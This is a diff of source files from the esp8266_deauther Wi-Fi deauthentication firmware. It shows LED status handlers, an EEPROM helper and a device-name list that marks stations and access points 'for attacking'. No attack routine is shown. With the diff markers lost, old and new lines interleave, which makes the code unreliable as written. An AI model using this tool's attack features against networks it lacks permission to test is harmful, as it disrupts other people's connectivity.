setColor(r, g, b, brightness, true);
}
void DigitalLed::update() {
if (!tempEnabled) return;
if (!settings.getLedEnabled() && tempEnabled) tempDisable();
if (scan.isScanning() && scan.deauths < settings.getMinDeauths()) setMode(LED_MODE_SCAN, false);
else if (scan.deauths >= settings.getMinDeauths()) setMode(LED_MODE_DEAUTH, false);
else if (attack.isRunning()) setMode(LED_MODE_ATTACK, false);
else setMode(LED_MODE_IDLE, false);
}

View File

@ -1,45 +0,0 @@
#ifndef DigitalLed_h
#define DigitalLed_h
#include "Arduino.h"
extern "C" {
#include "user_interface.h"
}
#include "language.h"
#include "A_config.h"
#include "Settings.h"
#include "Attack.h"
#include "Scan.h"
#define LED_MODE_OFF 0
#define LED_MODE_SCAN 1
#define LED_MODE_ATTACK 2
#define LED_MODE_DEAUTH 3
#define LED_MODE_IDLE 4
extern Settings settings;
extern Attack attack;
extern Scan scan;
extern Stations stations;
class DigitalLed {
public:
DigitalLed();
void setup();
void setColor(uint8_t r, uint8_t g, uint8_t b);
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness);
void setMode(uint8_t mode, bool force);
void update();
void tempEnable();
void tempDisable();
bool getTempEnabled();
private:
uint8_t mode;
bool tempEnabled = true;
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output);
};
#endif

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,62 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
// ========== Includes ========== //
#include <EEPROM.h>
// ========== Boot Counter Structure ========== //
// Used for memory verificaiton
#define BOOT_MAGIC_NUM 1234567890
typedef struct boot {
unsigned int magic_num : 32;
unsigned int boot_num : 8;
} boot;
// ========== EEPROM Helper Class ========== //
class EEPROMHelper {
public:
static void begin(const int eepromSize) {
EEPROM.begin(eepromSize);
}
static void end() {
EEPROM.end();
}
template<typename T>
static void saveObject(const int address, const T& t) {
EEPROM.put(address, t);
EEPROM.commit();
}
template<typename T>
static void getObject(const int address, const T& t) {
EEPROM.get(address, t);
}
static bool checkBootNum(const int address) {
boot b;
EEPROM.get(address, b);
if ((b.magic_num == BOOT_MAGIC_NUM) && (b.boot_num < 3)) {
saveObject(address, boot{ BOOT_MAGIC_NUM, ++b.boot_num });
return true;
}
return false;
}
static void resetBootNum(const int address) {
saveObject(address, boot{ BOOT_MAGIC_NUM, 1 });
}
static void format(unsigned long size) {
for (unsigned long i = 0; i<size; i++) EEPROM.write(i, 0x00);
EEPROM.commit();
}
};

View File

@ -1,483 +1,519 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#include "Names.h"
#include <LittleFS.h>
Names::Names() {
list = new SimpleList<Device>;
list = new SimpleList<Device>;
}
void Names::load() {
internal_removeAll();
internal_removeAll();
DynamicJsonBuffer jsonBuffer(4000);
DynamicJsonBuffer jsonBuffer(4000);
checkFile(FILE_PATH, String(OPEN_BRACKET) + String(CLOSE_BRACKET));
JsonArray &arr = parseJSONFile(FILE_PATH, jsonBuffer);
checkFile(FILE_PATH, String(OPEN_BRACKET) + String(CLOSE_BRACKET));
JsonArray& arr = parseJSONFile(FILE_PATH, jsonBuffer);
for (uint32_t i = 0; i < arr.size() && i < NAME_LIST_SIZE; i++) {
JsonArray &tmpArray = arr.get<JsonVariant>(i);
internal_add(tmpArray.get<String>(0), tmpArray.get<String>(2), tmpArray.get<String>(3), tmpArray.get<uint8_t>(4), false);
sort();
}
for (uint32_t i = 0; i < arr.size() && i < NAME_LIST_SIZE; i++) {
JsonArray& tmpArray = arr.get<JsonVariant>(i);
internal_add(tmpArray.get<String>(0), tmpArray.get<String>(2), tmpArray.get<String>(3), tmpArray.get<uint8_t>(
4), false);
sort();
}
prnt(N_LOADED);
prntln(FILE_PATH);
prnt(N_LOADED);
prntln(FILE_PATH);
}
void Names::load(String filepath) {
String tmp = FILE_PATH;
FILE_PATH = filepath;
load();
FILE_PATH = tmp;
String tmp = FILE_PATH;
FILE_PATH = filepath;
load();
FILE_PATH = tmp;
}
void Names::save(bool force) {
if (!force && !changed) {
return;
prntln(N_SAVED);
}
if (!force && !changed) {
return;
String buf = String(OPEN_BRACKET); // [
prntln(N_SAVED);
}
if (!writeFile(FILE_PATH, buf)) {
prnt(F_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
String buf = String(OPEN_BRACKET); // [
buf = String();
String name;
int c = count();
for (int i = 0; i < c; i++) {
name = escape(getName(i));
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // ["00:11:22:00:11:22",
buf += String(DOUBLEQUOTES) + getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
buf += String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // "name",
buf += String(DOUBLEQUOTES) + getBssidStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22",
buf += String(getCh(i)) + String(COMMA); // 1,
buf += b2s(getSelected(i)) + String(CLOSE_BRACKET); // false]
if(i < c-1) buf += COMMA; // ,
if(buf.length() >= 1024){
if (!appendFile(FILE_PATH, buf)) {
if (!writeFile(FILE_PATH, buf)) {
prnt(F_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
buf = String();
}
}
buf += String(CLOSE_BRACKET); // ]
buf = String();
if (!appendFile(FILE_PATH, buf)) {
prnt(F_ERROR_SAVING);
String name;
int c = count();
for (int i = 0; i < c; i++) {
name = escape(getName(i));
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // ["00:11:22:00:11:22",
buf += String(DOUBLEQUOTES) + getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
buf += String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // "name",
buf += String(DOUBLEQUOTES) + getBssidStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22",
buf += String(getCh(i)) + String(COMMA); // 1,
buf += b2s(getSelected(i)) + String(CLOSE_BRACKET); // false]
if (i < c - 1) buf += COMMA; // ,
if (buf.length() >= 1024) {
if (!appendFile(FILE_PATH, buf)) {
prnt(F_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
buf = String();
}
}
buf += String(CLOSE_BRACKET); // ]
if (!appendFile(FILE_PATH, buf)) {
prnt(F_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
prnt(N_SAVED);
prntln(FILE_PATH);
return;
}
prnt(N_SAVED);
prntln(FILE_PATH);
changed = false;
changed = false;
}
void Names::save(bool force, String filepath) {
String tmp = FILE_PATH;
FILE_PATH = filepath;
save(force);
FILE_PATH = tmp;
String tmp = FILE_PATH;
FILE_PATH = filepath;
save(force);
FILE_PATH = tmp;
}
void Names::sort() {
list->sort([](Device & a, Device & b) -> bool{
return memcmp(a.mac, b.mac, 6) > 0;
});
list->setCompare([](Device& a, Device& b) -> int {
return memcmp(a.mac, b.mac, 6);
});
list->sort();
}
void Names::removeAll() {
internal_removeAll();
prntln(N_REMOVED_ALL);
changed = true;
internal_removeAll();
prntln(N_REMOVED_ALL);
changed = true;
}
bool Names::check(int num) {
if (internal_check(num)) return true;
prnt(N_ERROR_NOT_FOUND);
prntln(num);
return false;
if (internal_check(num)) return true;
prnt(N_ERROR_NOT_FOUND);
prntln(num);
return false;
}
int Names::findID(uint8_t* mac) {
return list->binSearch([mac](Device &a) -> int{
return memcmp(mac, a.mac, 6);
},0,count()-1);
for (int i = 0; i < list->size(); i++) {
if (memcmp(mac, list->get(i).mac, 6) == 0) return i;
}
return -1;
}
String Names::find(uint8_t* mac) {
int num = findID(mac);
if (num >= 0)
return getName(num);
else
return String();
int num = findID(mac);
if (num >= 0) return getName(num);
else return String();
}
void Names::print(int num) {
print(num, true, true);
print(num, true, true);
}
void Names::print(int num, bool header, bool footer) {
if (!check(num)) return;
if (header) {
prntln(N_TABLE_HEADER);
prntln(N_TABLE_DIVIDER);
}
if (!check(num)) return;
prnt(buildString(String(), (String)num, 2));
prnt(buildString(String(SPACE) + getMacStr(num), String(), 18));
prnt(buildString(String(SPACE) + getVendorStr(num), String(), 9));
prnt(buildString(String(SPACE) + getName(num), String(), 17));
prnt(buildString(String(SPACE) + getBssidStr(num), String(), 18));
prnt(buildString(String(SPACE), (String)getCh(num), 3));
prntln(buildString(String(SPACE) + getSelectedStr(num), String(), 9));
if (header) {
prntln(N_TABLE_HEADER);
prntln(N_TABLE_DIVIDER);
}
if (footer)
prntln(N_TABLE_DIVIDER);
prnt(leftRight(String(), (String)num, 2));
prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));
prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));
prnt(leftRight(String(SPACE) + getName(num), String(), 17));
prnt(leftRight(String(SPACE) + getBssidStr(num), String(), 18));
prnt(leftRight(String(SPACE), (String)getCh(num), 3));
prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));
if (footer) prntln(N_TABLE_DIVIDER);
}
void Names::printAll() {
prntln(N_HEADER);
int c = count();
if (c == 0)
prntln(N_ERROR_LIST_EMPTY);
else
for (int i = 0; i < c; i++)
print(i, i == 0, i == c - 1);
prntln(N_HEADER);
int c = count();
if (c == 0) prntln(N_ERROR_LIST_EMPTY);
else
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
}
void Names::printSelected() {
prntln(N_TABLE_HEADER);
int max = selected();
int c = count();
if (max == 0) {
prntln(N_ERROR_NO_SELECTED);
return;
}
prntln(N_TABLE_HEADER);
int max = selected();
int c = count();
for (int i = 0, j = 0; i < c && j < max; i++) {
if (getSelected(i)) {
print(i, j == 0, j == max - 1);
j++;
if (max == 0) {
prntln(N_ERROR_NO_SELECTED);
return;
}
for (int i = 0, j = 0; i < c && j < max; i++) {
if (getSelected(i)) {
print(i, j == 0, j == max - 1);
j++;
}
}
}
}
void Names::add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force) {
if (count() >= NAME_LIST_SIZE) {
if (force)
internal_remove(0);
else {
prntln(N_ERROR_LIST_FULL);
return;
if (count() >= NAME_LIST_SIZE) {
if (force) internal_remove(0);
else {
prntln(N_ERROR_LIST_FULL);
return;
}
}
}
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
internal_add(mac, name, bssid, ch, selected);
sort();
internal_add(mac, name, bssid, ch, selected);
sort();
prnt(N_ADDED);
prntln(name);
changed = true;
prnt(N_ADDED);
prntln(name);
changed = true;
}
void Names::add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force) {
if (count() >= NAME_LIST_SIZE) {
if (force)
internal_remove(0);
else {
prntln(N_ERROR_LIST_FULL);
return;
if (count() >= NAME_LIST_SIZE) {
if (force) internal_remove(0);
else {
prntln(N_ERROR_LIST_FULL);
return;
}
}
}
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
internal_add(macStr, name, bssidStr, ch, selected);
sort();
internal_add(macStr, name, bssidStr, ch, selected);
sort();
prnt(N_ADDED);
prntln(name);
changed = true;
prnt(N_ADDED);
prntln(name);
changed = true;
}
void Names::replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected){
if (!check(num)) return;
remove(num);
internal_add(macStr, name, bssidStr, ch, selected);
sort();
prnt(N_REPLACED);
prntln(name);
changed = true;
void Names::replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected) {
if (!check(num)) return;
remove(num);
internal_add(macStr, name, bssidStr, ch, selected);
sort();
prnt(N_REPLACED);
prntln(name);
changed = true;
}
void Names::remove(int num) {
if (!check(num)) return;
prnt(N_REMOVED);
prntln(getName(num));
internal_remove(num);
changed = true;
if (!check(num)) return;
prnt(N_REMOVED);
prntln(getName(num));
internal_remove(num);
changed = true;
}
void Names::setName(int num, String name) {
if (!check(num)) return;
internal_add(getMac(num), name, getBssid(num), getCh(num), getSelected(num));
prntln(N_CHANGED_NAME);
internal_remove(num);
sort();
changed = true;
if (!check(num)) return;
internal_add(getMac(num), name, getBssid(num), getCh(num), getSelected(num));
prntln(N_CHANGED_NAME);
internal_remove(num);
sort();
changed = true;
}
void Names::setMac(int num, String macStr) {
if (!check(num)) return;
uint8_t mac[6];
strToMac(macStr, mac);
internal_add(mac, getName(num), getBssid(num), getCh(num), getSelected(num));
prntln(N_CHANGED_MAC);
internal_remove(num);
sort();
changed = true;
if (!check(num)) return;
uint8_t mac[6];
strToMac(macStr, mac);
internal_add(mac, getName(num), getBssid(num), getCh(num), getSelected(num));
prntln(N_CHANGED_MAC);
internal_remove(num);
sort();
changed = true;
}
void Names::setCh(int num, uint8_t ch) {
if (!check(num)) return;
internal_add(getMac(num), getName(num), getBssid(num), ch, getSelected(num));
prntln(N_CHANGED_CH);
internal_remove(num);
sort();
changed = true;
if (!check(num)) return;
internal_add(getMac(num), getName(num), getBssid(num), ch, getSelected(num));
prntln(N_CHANGED_CH);
internal_remove(num);
sort();
changed = true;
}
void Names::setBSSID(int num, String bssidStr) {
if (!check(num)) return;
uint8_t mac[6];
strToMac(bssidStr, mac);
internal_add(getMac(num), getName(num), mac, getCh(num), getSelected(num));
prntln(N_CHANGED_BSSID);
internal_remove(num);
sort();
changed = true;
if (!check(num)) return;
uint8_t mac[6];
strToMac(bssidStr, mac);
internal_add(getMac(num), getName(num), mac, getCh(num), getSelected(num));
prntln(N_CHANGED_BSSID);
internal_remove(num);
sort();
changed = true;
}
void Names::select(int num) {
if (!check(num)) return;
internal_select(num);
prnt(N_SELECTED);
prntln(getName(num));
changed = true;
if (!check(num)) return;
internal_select(num);
prnt(N_SELECTED);
prntln(getName(num));
changed = true;
}
void Names::select(String name) {
int c = count();
for (int i = 0; i < c; i++) {
if (getName(i).equals(name)) {
select(i);
return;
int c = count();
for (int i = 0; i < c; i++) {
if (getName(i).equals(name)) {
select(i);
return;
}
}
}
prnt(N_ERROR_NOT_FOUND);
prntln(name);
prnt(N_ERROR_NOT_FOUND);
prntln(name);
}
void Names::deselect(int num) {
if (!check(num)) return;
internal_deselect(num);
prnt(N_DESELECTED);
prntln(getName(num));
changed = true;
if (!check(num)) return;
internal_deselect(num);
prnt(N_DESELECTED);
prntln(getName(num));
changed = true;
}
void Names::deselect(String name) {
int c = count();
for (int i = 0; i < c; i++) {
if (getName(i).equals(name)) {
deselect(i);
return;
int c = count();
for (int i = 0; i < c; i++) {
if (getName(i).equals(name)) {
deselect(i);
return;
}
}
}
prnt(N_ERROR_NOT_FOUND);
prnt(name);
prnt(N_ERROR_NOT_FOUND);
prnt(name);
}
void Names::selectAll() {
int c = count();
for (int i = 0; i < c; i++)
internal_select(i);
prntln(N_SELECTED_ALL);
int c = count();
for (int i = 0; i < c; i++) internal_select(i);
prntln(N_SELECTED_ALL);
}
void Names::deselectAll() {
int c = count();
for (int i = 0; i < c; i++)
internal_deselect(i);
prntln(N_DESELECTED_ALL);
int c = count();
for (int i = 0; i < c; i++) internal_deselect(i);
prntln(N_DESELECTED_ALL);
}
uint8_t* Names::getMac(int num) {
if (!check(num)) return NULL;
return list->get(num).mac;
if (!check(num)) return NULL;
return list->get(num).mac;
}
uint8_t* Names::getBssid(int num) {
if (!check(num)) return NULL;
return list->get(num).apBssid;
if (!check(num)) return NULL;
return list->get(num).apBssid;
}
String Names::getMacStr(int num) {
if (!check(num)) return String();
uint8_t* mac = getMac(num);
return bytesToStr(mac, 6);
if (!check(num)) return String();
uint8_t* mac = getMac(num);
return bytesToStr(mac, 6);
}
String Names::getVendorStr(int num) {
if (!check(num)) return String();
return searchVendor(list->get(num).mac);
if (!check(num)) return String();
return searchVendor(list->get(num).mac);
}
String Names::getBssidStr(int num) {
String value;
if (getBssid(num) != NULL) {
uint8_t* mac = getBssid(num);
for (int i = 0; i < 6; i++) {
if (mac[i] < 0x10) value += ZERO;
value += String(mac[i], HEX);
if (i < 5) value += DOUBLEPOINT;
String value;
if (getBssid(num) != NULL) {
uint8_t* mac = getBssid(num);
for (int i = 0; i < 6; i++) {
if (mac[i] < 0x10) value += ZERO;
value += String(mac[i], HEX);
if (i < 5) value += DOUBLEPOINT;
}
}
}
return value;
return value;
}
String Names::getName(int num) {
if (!check(num)) return String();
return String(list->get(num).name);
if (!check(num)) return String();
return String(list->get(num).name);
}
String Names::getSelectedStr(int num) {
return b2a(getSelected(num));
return b2a(getSelected(num));
}
uint8_t Names::getCh(int num) {
if (!check(num)) return 1;
return list->get(num).ch;
if (!check(num)) return 1;
return list->get(num).ch;
}
bool Names::getSelected(int num) {
if (!check(num)) return false;
return list->get(num).selected;
if (!check(num)) return false;
return list->get(num).selected;
}
bool Names::isStation(int num) {
return getBssid(num) != NULL;
return getBssid(num) != NULL;
}
int Names::count() {
return list->size();
return list->size();
}
int Names::selected() {
int num = 0;
for (int i = 0; i < count(); i++)
if (getSelected(i)) num++;
return num;
int num = 0;
for (int i = 0; i < count(); i++)
if (getSelected(i)) num++;
return num;
}
int Names::stations() {
int num = 0;
for (int i = 0; i < count(); i++)
if (isStation(i)) num++;
return num;
int num = 0;
for (int i = 0; i < count(); i++)
if (isStation(i)) num++;
return num;
}
bool Names::internal_check(int num) {
return num >= 0 && num < count();
return num >= 0 && num < count();
}
void Names::internal_select(int num) {
Device newDevice = list->get(num);
newDevice.selected = true;
list->replace(num, newDevice);
Device newDevice = list->get(num);
newDevice.selected = true;
list->replace(num, newDevice);
}
void Names::internal_deselect(int num) {
Device newDevice = list->get(num);
newDevice.selected = false;
list->replace(num, newDevice);
Device newDevice = list->get(num);
newDevice.selected = false;
list->replace(num, newDevice);
}
void Names::internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected) {
uint8_t* deviceMac = (uint8_t*)malloc(6);
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
char* deviceName = (char*)malloc(name.length() + 1);
uint8_t* deviceBssid = NULL;
uint8_t* deviceMac = (uint8_t*)malloc(6);
name = fixUtf8(name);
memcpy(deviceMac, mac, 6);
strcpy(deviceName, name.c_str());
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
char* deviceName = (char*)malloc(name.length() + 1);
uint8_t* deviceBssid = NULL;
if (bssid) {
deviceBssid = (uint8_t*)malloc(6);
memcpy(deviceBssid, bssid, 6);
}
name = fixUtf8(name);
if (ch < 1 || ch > 14) ch = 1;
memcpy(deviceMac, mac, 6);
strcpy(deviceName, name.c_str());
Device newDevice;
newDevice.mac = deviceMac;
newDevice.name = deviceName;
newDevice.apBssid = deviceBssid;
newDevice.ch = ch;
newDevice.selected = selected;
if (bssid) {
deviceBssid = (uint8_t*)malloc(6);
memcpy(deviceBssid, bssid, 6);
}
list->add(newDevice);
if ((ch < 1) || (ch > 14)) ch = 1;
Device newDevice;
newDevice.mac = deviceMac;
newDevice.name = deviceName;
newDevice.apBssid = deviceBssid;
newDevice.ch = ch;
newDevice.selected = selected;
list->add(newDevice);
}
void Names::internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected) {
uint8_t mac[6];
if (!strToMac(macStr, mac)) return;
uint8_t mac[6];
if (bssidStr.length() == 17) {
uint8_t bssid[6];
strToMac(bssidStr, bssid);
internal_add(mac, name, bssid, ch, selected);
} else {
internal_add(mac, name, NULL, ch, selected);
}
if (!strToMac(macStr, mac)) return;
if (bssidStr.length() == 17) {
uint8_t bssid[6];
strToMac(bssidStr, bssid);
internal_add(mac, name, bssid, ch, selected);
} else {
internal_add(mac, name, NULL, ch, selected);
}
}
void Names::internal_remove(int num) {
free(list->get(num).mac);
free(list->get(num).name);
if (list->get(num).apBssid)
free(list->get(num).apBssid);
list->remove(num);
free(list->get(num).mac);
free(list->get(num).name);
if (list->get(num).apBssid) free(list->get(num).apBssid);
list->remove(num);
}
void Names::internal_removeAll() {
while(count() > 0){
free(list->get(0).mac);
free(list->get(0).name);
if (list->get(0).apBssid)
free(list->get(0).apBssid);
list->remove(0);
}
}
while (count() > 0) {
free(list->get(0).mac);
free(list->get(0).name);
if (list->get(0).apBssid) free(list->get(0).apBssid);
list->remove(0);
}
}

View File

@ -1,106 +1,101 @@
#ifndef Names_h
#define Names_h
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
#include "Arduino.h"
#include <FS.h>
#include <ESP8266WiFi.h>
extern "C" {
#include "user_interface.h"
}
#include <ArduinoJson.h>
#include "src/ArduinoJson-v5.13.5/ArduinoJson.h"
#include "language.h"
#include "SimpleList.h"
#define NAME_LIST_SIZE 25
#define NAME_MAX_LENGTH 16
#define NAME_MAX_LENGTH 17
extern void checkFile(String path, String data);
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer &jsonBuffer);
extern bool writeFile(String path, String &buf);
extern bool appendFile(String path, String &buf);
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer);
extern bool writeFile(String path, String& buf);
extern bool appendFile(String path, String& buf);
extern bool strToMac(String macStr, uint8_t* mac);
extern String searchVendor(uint8_t* mac);
extern String fixUtf8(String str);
extern String buildString(String left, String right, int maxLen);
extern String leftRight(String a, String b, int len);
extern String escape(String str);
extern String bytesToStr(uint8_t* b, uint32_t size);
extern String bytesToStr(const uint8_t* b, uint32_t size);
class Names {
public:
Names();
void load();
void load(String filepath);
void save(bool force);
void save(bool force,String filepath);
void sort();
String find(uint8_t* mac);
int findID(uint8_t* mac);
public:
Names();
void print(int num);
void print(int num, bool header, bool footer);
void select(int num);
void select(String name);
void deselect(int num);
void deselect(String name);
void add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force);
void add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force);
void replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected);
void remove(int num);
void printAll();
void printSelected();
void selectAll();
void deselectAll();
void removeAll();
uint8_t* getMac(int num);
uint8_t* getBssid(int num);
String getMacStr(int num);
String getBssidStr(int num);
String getName(int num);
String getVendorStr(int num);
String getSelectedStr(int num);
uint8_t getCh(int num);
bool getSelected(int num);
bool isStation(int num);
void load();
void load(String filepath);
void save(bool force);
void save(bool force, String filepath);
void sort();
void setName(int num, String name);
void setMac(int num, String macStr);
void setCh(int num, uint8_t ch);
void setBSSID(int num, String bssidStr);
int count();
int selected();
int stations();
String find(uint8_t* mac);
int findID(uint8_t* mac);
bool check(int num);
private:
String FILE_PATH = "/names.json";
bool changed = false;
struct Device{
uint8_t* mac; // mac address
char* name; // name of saved device
uint8_t* apBssid; // mac address of AP (if saved device is a station)
uint8_t ch; // Wi-Fi channel of Device
bool selected; // select for attacking
};
SimpleList<Device>* list;
int binSearch(uint8_t* searchBytes, int lowerEnd, int upperEnd);
bool internal_check(int num);
void internal_select(int num);
void internal_deselect(int num);
void internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected);
void internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected);
void internal_remove(int num);
void internal_removeAll();
};
void print(int num);
void print(int num, bool header, bool footer);
void select(int num);
void select(String name);
void deselect(int num);
void deselect(String name);
void add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force);
void add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force);
void replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected);
void remove(int num);
#endif
void printAll();
void printSelected();
void selectAll();
void deselectAll();
void removeAll();
uint8_t* getMac(int num);
uint8_t* getBssid(int num);
String getMacStr(int num);
String getBssidStr(int num);
String getName(int num);
String getVendorStr(int num);
String getSelectedStr(int num);
uint8_t getCh(int num);
bool getSelected(int num);
bool isStation(int num);
void setName(int num, String name);
void setMac(int num, String macStr);
void setCh(int num, uint8_t ch);
void setBSSID(int num, String bssidStr);
int count();
int selected();
int stations();
bool check(int num);
private:
String FILE_PATH = "/names.json";
bool changed = false;
struct Device {
uint8_t* mac; // mac address
char * name; // name of saved device
uint8_t* apBssid; // mac address of AP (if saved device is a station)
uint8_t ch; // Wi-Fi channel of Device
bool selected; // select for attacking
};
SimpleList<Device>* list;
int binSearch(uint8_t* searchBytes, int lowerEnd, int upperEnd);
bool internal_check(int num);
void internal_select(int num);
void internal_deselect(int num);
void internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected);
void internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected);
void internal_remove(int num);
void internal_removeAll();
};

View File

@ -1,110 +0,0 @@
#include "Neopixel.h"
Neopixel::Neopixel() {
}
// setup pins
void Neopixel::setup(){
if(!settings.getLedEnabled()) return;
// ===== adjustable ===== //
strip.setBrightness(100);
strip.begin();
strip.show();
// ====================== //
setMode(LED_MODE_OFF, true);
}
void Neopixel::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output) {
// debug output
if (output){
char s[30];
sprintf(s,str(L_OUTPUT_A).c_str(), r, g, b);
prnt(String(s));
}
// ===== adjustable ===== //
if (brightness > 0 && brightness < 100) {
if (r > 0 && brightness < 100) r = r * brightness / 100;
if (g > 0 && brightness < 100) g = g * brightness / 100;
if (b > 0 && brightness < 100) b = b * brightness / 100;
}
for(uint16_t i=0;i<LED_NEOPIXEL_NUM;i++){
strip.setPixelColor(i,strip.Color(r,g,b,brightness));
}
strip.show();
// ====================== //
// debug output
if (output){
char s[30];
sprintf(s,str(L_OUTPUT_B).c_str(), r?255:0, g?255:0, b?255:0);
prnt(String(s));
}
}
// customize color codes for different LED modes
void Neopixel::setMode(uint8_t mode, bool force) {
// ===== adjustable ===== //
if (mode != Neopixel::mode || force) {
Neopixel::mode = mode;
switch (mode) {
case LED_MODE_OFF:
setColor(0, 0, 0, LED_MODE_BRIGHTNESS, false);
break;
case LED_MODE_SCAN:
if(LED_DYNAMIC_BRIGHTNESS) setColor(0, 0, 255, (uint8_t)(scan.getScaleFactor(100)*scan.getPacketRate()), false); // change color depending on packet rate
else setColor(0, 0, 255, LED_MODE_BRIGHTNESS, false);
break;
case LED_MODE_ATTACK:
setColor(255, 255, 0, LED_MODE_BRIGHTNESS, false);
break;
case LED_MODE_DEAUTH:
if(LED_DYNAMIC_BRIGHTNESS) setColor(255, 0, 0, scan.deauths > 255 ? 255 : scan.deauths , false); // brightness depending on how many deauths/s
else setColor(255, 0, 0, LED_MODE_BRIGHTNESS, false);
break;
case LED_MODE_IDLE:
setColor(0, 255, 0, LED_MODE_BRIGHTNESS, false);
break;
}
}
// ====================== //
}
void Neopixel::tempEnable() {
tempEnabled = true;
prntln(L_ENABLED);
}
void Neopixel::tempDisable() {
tempEnabled = false;
prntln(L_DISABLED);
}
bool Neopixel::getTempEnabled() {
return tempEnabled;
}
void Neopixel::setColor(uint8_t r, uint8_t g, uint8_t b) {
setColor(r, g, b, 100, true);
}
void Neopixel::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness) {
setColor(r, g, b, brightness, true);
}
void Neopixel::update() {
if (!tempEnabled) return;
if (!settings.getLedEnabled() && tempEnabled) tempDisable();
if (scan.isScanning() && scan.deauths < settings.getMinDeauths()) setMode(LED_MODE_SCAN, false);
else if (scan.deauths >= settings.getMinDeauths()) setMode(LED_MODE_DEAUTH, false);
else if (attack.isRunning()) setMode(LED_MODE_ATTACK, false);
else setMode(LED_MODE_IDLE, false);
}

View File

@ -1,51 +0,0 @@
#ifndef Neopixel_h
#define Neopixel_h
#include "Arduino.h"
#include <ESP8266WiFi.h>
extern "C" {
#include "user_interface.h"
}
#include <Adafruit_NeoPixel.h>
#include "language.h"
#include "A_config.h"
#include "Settings.h"
#include "Attack.h"
#include "Scan.h"
#define LED_MODE_OFF 0
#define LED_MODE_SCAN 1
#define LED_MODE_ATTACK 2
#define LED_MODE_DEAUTH 3
#define LED_MODE_IDLE 4
extern Settings settings;
extern Attack attack;
extern Scan scan;
extern Stations stations;
class Neopixel {
public:
Neopixel();
void setup();
void setColor(uint8_t r, uint8_t g, uint8_t b);
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness);
void setMode(uint8_t mode, bool force);
void update();
void tempEnable();
void tempDisable();
bool getTempEnabled();
private:
// ===== adjustable ===== //
Adafruit_NeoPixel strip = LED_NEOPIXEL;
// ======================= //
uint8_t mode;
bool tempEnabled = true;
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output);
};
#endif

View File

@ -1,115 +0,0 @@
#include "RGBLed.h"
RGBLed::RGBLed() {
}
// setup pins
void RGBLed::setup(){
if(!settings.getLedEnabled()) return;
// ===== adjustable ===== //
pinMode(LED_PIN_R, OUTPUT);
pinMode(LED_PIN_G, OUTPUT);
pinMode(LED_PIN_B, OUTPUT);
// ====================== //
setMode(LED_MODE_OFF, true);
}
void RGBLed::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output) {
// debug output
if (output){
char s[30];
sprintf(s,str(L_OUTPUT_A).c_str(), r, g, b);
prnt(String(s));
}
// ===== adjustable ===== //
if (brightness > 0 && brightness < 100) {
if (r > 0 && brightness < 100) r = r * brightness / 100;
if (g > 0 && brightness < 100) g = g * brightness / 100;
if (b > 0 && brightness < 100) b = b * brightness / 100;
}
if (!LED_CATHODE) {
r = 255 - r;
g = 255 - g;
b = 255 - b;
}
analogWrite(LED_PIN_R, r);
analogWrite(LED_PIN_G, g);
analogWrite(LED_PIN_B, b);
// ====================== //
// debug output
if (output){
char s[30];
